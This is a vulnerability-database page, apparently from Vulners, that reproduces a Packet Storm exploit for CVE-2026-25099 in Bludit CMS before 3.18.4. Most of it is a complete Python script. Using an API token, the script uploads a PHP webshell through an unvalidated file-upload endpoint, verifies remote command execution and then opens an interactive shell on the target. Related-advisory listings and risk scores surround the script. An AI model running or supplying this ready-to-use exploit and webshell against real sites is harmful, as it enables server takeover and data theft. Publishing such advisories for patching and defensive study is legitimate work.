Lucene search
K

📄 Bludit CMS Shell Upload

🗓️ 30 Mar 2026 00:00:00Reported by Yahia HamzaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 100 Views

Bludit versions before 3.18.4 allow authenticated token-based file uploads enabling PHP webshells and remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-25099
28 Mar 202611:40
githubexploit
ATTACKERKB
CVE-2026-25101
27 Mar 202611:55
attackerkb
ATTACKERKB
CVE-2026-25100
27 Mar 202611:55
attackerkb
ATTACKERKB
CVE-2026-25099
27 Mar 202611:55
attackerkb
Circl
CVE-2026-25099
27 Mar 202610:55
circl
Circl
CVE-2026-25100
27 Mar 202610:55
circl
CNNVD
Bludit 跨站脚本漏洞
27 Mar 202600:00
cnnvd
CNNVD
Bludit 授权问题漏洞
27 Mar 202600:00
cnnvd
CNNVD
Bludit 代码问题漏洞
27 Mar 202600:00
cnnvd
CVE
CVE-2026-25099
27 Mar 202611:55
cve
Rows per page
# Exploit Title: Bludit CMS < 3.18.4 - API Unrestricted File Upload to RCE
    # Date: 2026-03-28
    # Exploit Author: Yahia Hamza (https://yh.do)
    # Vendor Homepage: https://www.bludit.com/
    # Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip
    # Version: Bludit < 3.18.4
    # Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3
    # CVE: CVE-2026-25099
    #
    # Description:
    # Bludit CMS API plugin allows an authenticated user with a valid API token
    # to upload files of any type and extension via POST /api/files/<page-key>.
    # The uploadFile() function performs no file extension or content validation,
    # allowing upload of PHP webshells that execute as www-data.
    #
    # The API token is generated when the API plugin is activated and is visible
    # to users with admin panel access. Tokens may also be exposed through
    # misconfiguration, log files, or other application vulnerabilities.
    #
    # Fixed in Bludit 3.18.4.
    #
    # Usage:
    #   python3 CVE-2026-25099.py -u http://target -t API_TOKEN
    #   python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id"
    
    import argparse
    import requests
    import sys
    import random
    import string
    
    
    def get_page_key(base_url, token):
        """Retrieve a valid page key from the Bludit API."""
        try:
            r = requests.get(
                f"{base_url}/api/pages",
                params={"token": token},
                timeout=10
            )
            if r.status_code == 200:
                data = r.json()
                if data.get("data") and len(data["data"]) > 0:
                    return data["data"][0]["key"]
        except requests.RequestException as e:
            print(f"[-] Connection error: {e}")
        return None
    
    
    def upload_shell(base_url, token, page_key):
        """Upload a PHP webshell via the unrestricted file upload endpoint."""
        shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
        shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'
    
        try:
            r = requests.post(
                f"{base_url}/api/files/{page_key}",
                data={"token": token},
                files={"file": (shell_name, shell_content, "application/x-php")},
                timeout=10
            )
            if r.status_code == 200:
                data = r.json()
                if data.get("status") == "0":
                    shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
                    return shell_url, shell_name
        except requests.RequestException as e:
            print(f"[-] Upload error: {e}")
        return None, None
    
    
    def execute_command(shell_url, cmd):
        """Execute a command via the uploaded webshell."""
        try:
            r = requests.get(shell_url, params={"cmd": cmd}, timeout=10)
            if r.status_code == 200 and "<pre>" in r.text:
                return r.text.split("<pre>")[1].split("</pre>")[0].strip()
        except requests.RequestException:
            pass
        return None
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE"
        )
        parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)")
        parser.add_argument("-t", "--token", required=True, help="Bludit API token")
        parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)")
        args = parser.parse_args()
    
        base_url = args.url.rstrip("/")
    
        print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE")
        print(f"[*] Target: {base_url}")
    
        # Step 1: Get page key
        print("[*] Retrieving page key...")
        page_key = get_page_key(base_url, args.token)
        if not page_key:
            sys.exit("[-] Failed to retrieve page key. Check URL and token.")
        print(f"[+] Page key: {page_key}")
    
        # Step 2: Upload webshell
        print("[*] Uploading webshell...")
        shell_url, shell_name = upload_shell(base_url, args.token, page_key)
        if not shell_url:
            sys.exit("[-] Upload failed.")
        print(f"[+] Shell uploaded: {shell_url}")
    
        # Step 3: Verify RCE
        print("[*] Verifying RCE...")
        test = execute_command(shell_url, "id")
        if not test:
            sys.exit("[-] RCE verification failed. Shell may not be accessible.")
        print(f"[+] RCE confirmed: {test}")
    
        # Step 4: Execute command or interactive shell
        if args.command:
            output = execute_command(shell_url, args.command)
            if output:
                print(output)
        else:
            print("\n[+] Interactive shell (type 'exit' to quit)\n")
            while True:
                try:
                    cmd = input("shell> ")
                    if cmd.strip().lower() in ("exit", "quit"):
                        break
                    if not cmd.strip():
                        continue
                    output = execute_command(shell_url, cmd)
                    if output:
                        print(output)
                    else:
                        print("(no output)")
                except (KeyboardInterrupt, EOFError):
                    break
    
        print(f"\n[*] Shell: {shell_url}")
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Mar 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.18.8
CVSS 48.7
EPSS0.00532
SSVC
100